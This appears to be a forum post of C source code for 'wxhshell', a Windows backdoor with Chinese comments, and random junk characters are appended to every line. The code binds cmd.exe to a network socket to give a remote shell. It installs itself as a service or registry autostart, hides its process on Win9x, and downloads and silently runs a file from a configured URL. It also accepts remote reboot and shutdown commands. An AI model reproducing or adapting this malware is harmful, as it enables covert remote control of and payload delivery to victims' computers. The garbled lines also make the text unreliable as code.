[Zj6v a  
    switch(cmd[0]) { ^nGKuW7\  
  Z.E@aml\  
  // 帮助 =?oYEO7  
  case '?': { sMHP=2##  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uz'MUT(68  
    break; \_|g}&}6Y  
  } =}wqo6Bn|  
  // 安装 \VAm4   
  case 'i': { ee\xj$,  
    if(Install()) M'>8P6O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]GH_;  
    else *h4x`luJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S*w;$`Y  
    break; >4iVVs  
    } _sX@BE  
  // 卸载 JK9 J;c#T  
  case 'r': { GS&iSjw  
    if(Uninstall()) ,cCBAO ueO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )FSa]1t;x  
    else DC+l3N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LnlDCbF;!  
    break; 1Q6~O2a  
    } ||^+(  
  // 显示 wxhshell 所在路径 7?W1i{(  
  case 'p': { &)Z]nNVb  
    char svExeFile[MAX_PATH]; u.9syr  
    strcpy(svExeFile,"\n\r"); "*JyNwf  
      strcat(svExeFile,ExeFile); i=AQ1X\s  
        send(wsh,svExeFile,strlen(svExeFile),0); rPXy(d1<`S  
    break; ;JV(!8[  
    } 3\E G  
  // 重启 '8V>:dy>  
  case 'b': { 6#up BF:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _]6n]koD,  
    if(Boot(REBOOT)) AoFxho  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <BX'Owbs!O  
    else { ukwO%JAr  
    closesocket(wsh); `w K6B5>  
    ExitThread(0); w7`09oJm  
    } WNcJ710k27  
    break; 3u@=]0ZN  
    } 0$:jZ/._  
  // 关机 (pT 7m  
  case 'd': { y41,T&ja  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5Zy%Nam'gN  
    if(Boot(SHUTDOWN)) W+`T:Mgh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $c1xh.  
    else { =kDh:&u%  
    closesocket(wsh); +Vw]DLWR  
    ExitThread(0); Y |'}VU  
    } M=#'+CF}W  
    break; CA]u3bf~  
    } 2kW*Z7@D  
  // 获取shell A| s\5"??  
  case 's': { Y@2v/O,\  
    CmdShell(wsh); ;Yu|LaI\<m  
    closesocket(wsh); ,ocAB;K  
    ExitThread(0); i>{.Y};  
    break; 1^AG/w  
  } DM=`hyf(v  
  // 退出 (Q[(]dfc  
  case 'x': { Cd'`rs}3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,}a'h4C  
    CloseIt(wsh); &b9bb{y_$K  
    break; 5h@5.-}  
    } &at>sQ'  
  // 离开 ]%eyrbU  
  case 'q': { %[WOQ.Sh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y0xn}:%K  
    closesocket(wsh); kX "*kD  
    WSACleanup(); ?G<.W[3  
    exit(1); 49-wFF  
    break; N-YCOSUu  
        } \Y^GA;AMQQ  
  } "a=dx| Z  
  } 6S&OE k  
e!oL!Zg  
  // 提示信息 ]*TW%mY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xV>sc;PEb  
} 0@/C5 v  
  } rq![a};~  
82KWe=  
  return; UoOxGo  
} <RJ+f-  
(,;4f7\  
// shell模块句柄 P\{ }yd  
int CmdShell(SOCKET sock) sM6o(=>  
{ h%8C_m A  
STARTUPINFO si; @r3,|tkrz  
ZeroMemory(&si,sizeof(si)); y7U?nP ')+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g[ O6WZ!F_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  4 `]  
PROCESS_INFORMATION ProcessInfo; $8WeWmY  
char cmdline[]="cmd"; Rg%Xy`gS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3S{3AmKj?  
  return 0; ^F g!.X_  
} \W+Hzf] W#  
:@#6]W  
// 自身启动模式 7_CX6:  
int StartFromService(void) 5 [X,?  
{ P 9?I]a)G  
typedef struct -muP.h/  
{ I/)*pzt8  
  DWORD ExitStatus; 7_c/wbA#me  
  DWORD PebBaseAddress; tKY g  
  DWORD AffinityMask; nUScDb2|  
  DWORD BasePriority; 7Y6b<:4j  
  ULONG UniqueProcessId; 3"LT''  
  ULONG InheritedFromUniqueProcessId; "w{$d&+?ag  
}   PROCESS_BASIC_INFORMATION; _WN\9<  
0;tu}]jnN  
PROCNTQSIP NtQueryInformationProcess; U$ Od)  
o(eh.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _|wnmeL*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Eu2(#z 6eW  
04#<qd&ob@  
  HANDLE             hProcess; Tl L\&n.$  
  PROCESS_BASIC_INFORMATION pbi; j|%>NB ):  
3,)[Q?nKD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lQ!(l Ph  
  if(NULL == hInst ) return 0; ~ugH2jiB  
Y lhKP;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bA\(oD+:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5`Y>!| Ab  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 46gDoSS  
u-@;Q<v$  
  if (!NtQueryInformationProcess) return 0; z yrjb 8  
P#-p* 4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %hi]oz  
  if(!hProcess) return 0; &?Z<"+B8S  
P1dFoQz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J6gn!  
B_S))3   
  CloseHandle(hProcess);  V0!kvIv  
0.0r?T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JQ9+kZ  
if(hProcess==NULL) return 0; .$a|&P=S  
TTD#ovo'  
HMODULE hMod; w}0rDWuR[  
char procName[255]; UL]zuW/  
unsigned long cbNeeded; }gKY_e3  
Xa_:B\ic  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bJ^Jmb  
cK\'D  
  CloseHandle(hProcess); %|B$y;q^3  
)0zg1z  
if(strstr(procName,"services")) return 1; // 以服务启动 5#mHWBGd7  
&Y1RPO41J  
  return 0; // 注册表启动 z-^/<u1p  
} ta0;:o?/d  
;jh.\a_\  
// 主模块 Oar%LSkPRz  
int StartWxhshell(LPSTR lpCmdLine) ,:% h`P_  
{ {hVc,\A  
  SOCKET wsl; \d-9Ndp nf  
BOOL val=TRUE; *Rgl(Ba  
  int port=0; /Nns3oE  
  struct sockaddr_in door; 7ea%mg\  
&(h@]F!  
  if(wscfg.ws_autoins) Install(); L~*nI d  
5I[6 "o0  
port=atoi(lpCmdLine); NL&![;  
%lGT |XrY  
if(port<=0) port=wscfg.ws_port; OmZK~$K_  
T'a&  
  WSADATA data; `a5,5}7v%`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A`1-c   
&'u%|A@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _7<G6q2(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {EJ+   
  door.sin_family = AF_INET; FTu<$`!1L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &Z%'xAOGR  
  door.sin_port = htons(port); j-zWckT{  
'j;i4ie>*x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \_MWZRMc5  
closesocket(wsl); y\R-=Am".  
return 1; #rQT)n  
} \jr-^n]  
jQ['f\R  
  if(listen(wsl,2) == INVALID_SOCKET) { [ nLd>2P  
closesocket(wsl); `KUL 4) g~  
return 1; g ,yB^^%  
} GW2v&Ul7(  
  Wxhshell(wsl); %' eaW  
  WSACleanup(); jvhD_L/  
Tsocc5gWZ*  
return 0; h9QQ8}g  
ekd;sEO  
} tG[v@-O  
!}q@O-}j  
// 以NT服务方式启动 AmK g;9LS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k#G+<7c<  
{ *~^%s +b  
DWORD   status = 0; 5")BCA  
  DWORD   specificError = 0xfffffff; vy5I#q(k  
g{JH5IZ~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [6)vD@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V o%GO 9b;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QB*n [(?  
  serviceStatus.dwWin32ExitCode     = 0; U["IXR#  
  serviceStatus.dwServiceSpecificExitCode = 0; j.:f =`xf  
  serviceStatus.dwCheckPoint       = 0; P_(< ?0l  
  serviceStatus.dwWaitHint       = 0; {6iHUK   
n1)].`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0>:`|IGnT2  
  if (hServiceStatusHandle==0) return; lHO.pN`2  
jV' tcFr4  
status = GetLastError(); caZEZk#r;  
  if (status!=NO_ERROR) GK&R.R]  
{ lM.k *`$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Kir|in)r0  
    serviceStatus.dwCheckPoint       = 0; :@S=0|:j  
    serviceStatus.dwWaitHint       = 0; 02C;  
    serviceStatus.dwWin32ExitCode     = status; OT#foP   
    serviceStatus.dwServiceSpecificExitCode = specificError; aZ}z/.b]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (, $Lp0mB7  
    return; n +dRAIqB  
  } BR tT 7  
xLw[ aYy4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eNrwkV^  
  serviceStatus.dwCheckPoint       = 0; rLcXo %w  
  serviceStatus.dwWaitHint       = 0; ZWx4/G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @}{Fw;,(7n  
} ._<gc;G  
Ca0t}`<S  
// 处理NT服务事件,比如:启动、停止 i8.OM*[f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y^gIvX  
{ q,]57s  
switch(fdwControl) MT<3OKo?:  
{ 0p=  
case SERVICE_CONTROL_STOP: c}w[ T  
  serviceStatus.dwWin32ExitCode = 0; MJ.Kor  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Yy_mX}\x  
  serviceStatus.dwCheckPoint   = 0; f0g&=k{OD  
  serviceStatus.dwWaitHint     = 0; \8`^QgV`@  
  { bj FND]p?w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $B`bsJ  
  } )T@+"Pw8t  
  return; SpZmwa #\  
case SERVICE_CONTROL_PAUSE: g$mqAz<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %Gm4,+8P3o  
  break; WiFZY*iu5  
case SERVICE_CONTROL_CONTINUE: h|ja67VG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @@|H8mP}H  
  break; kaVYe)~  
case SERVICE_CONTROL_INTERROGATE: HK<oNr.d52  
  break; hYh~[Kr^@^  
}; 6H:EBj54?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {=_xze)  
} YrTjHIn~w  
2hT H  
// 标准应用程序主函数 I# |ib  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PAu/iqCH  
{ QM'>)!8  
1 w9Aoc  
// 获取操作系统版本 i(kr#XsU  
OsIsNt=GetOsVer(); EZ^M?awB4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4'XCO+i#  
&XSe&1  
  // 从命令行安装 Wl3fR[@3Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); OoR0>!x Z  
1JN/oq;  
  // 下载执行文件 k)JwCt.%  
if(wscfg.ws_downexe) { UbSD?Ew@35  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G_?qY#"(  
  WinExec(wscfg.ws_filenam,SW_HIDE); :#UN^"(m}  
} q|e<b  
I)4NCjcCw  
if(!OsIsNt) { [Kd"M[1[ <  
// 如果时win9x,隐藏进程并且设置为注册表启动 Zy > W2(<  
HideProc(); LU@+O12  
StartWxhshell(lpCmdLine); n:YA4t7S  
} DJHE6XJ   
else &r V  
  if(StartFromService()) '8fL)Zk  
  // 以服务方式启动 D]d2opBLj  
  StartServiceCtrlDispatcher(DispatchTable); SZD@<3Nb  
else YR$d\,#R  
  // 普通方式启动 ~ *P9_<  
  StartWxhshell(lpCmdLine); U6oab9C?k  
E)F"!56lV  
return 0; If(IG]>`D  
}
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只看该作者 1 发表于: 2006-10-10
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